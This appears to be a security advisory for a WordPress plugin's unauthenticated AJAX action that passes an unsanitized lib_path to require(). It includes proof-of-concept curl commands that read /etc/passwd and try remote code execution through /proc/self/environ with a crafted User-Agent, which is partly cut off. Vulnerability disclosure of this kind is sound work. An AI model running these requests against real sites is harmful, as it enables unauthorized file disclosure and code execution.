The plugin fails to validate and sanitize the lib_path parameter before it is passed into a call to require() via the narnoo_distributor_lib_request AJAX action (available to both unauthenticated and authenticated users) which results in the disclosure of arbitrary files as the content of the file is then displayed in the response as JSON data. This could also lead to RCE with various tricks but depends on the underlying system and it’s configuration.
curl https://example.com/wp-admin/admin-ajax.php --data ‘action=narnoo_distributor_lib_request&lib;_path=/etc/passwd’ Assuming the web user (www-data) can read from /proc/self/environ, the following curl command can be used to trigger RCE: curl https://example.com/wp-admin/admin-ajax.php --data ‘action=narnoo_distributor_lib_request&lib;_path=/proc/self/environ’ -H 'User-Agent: ’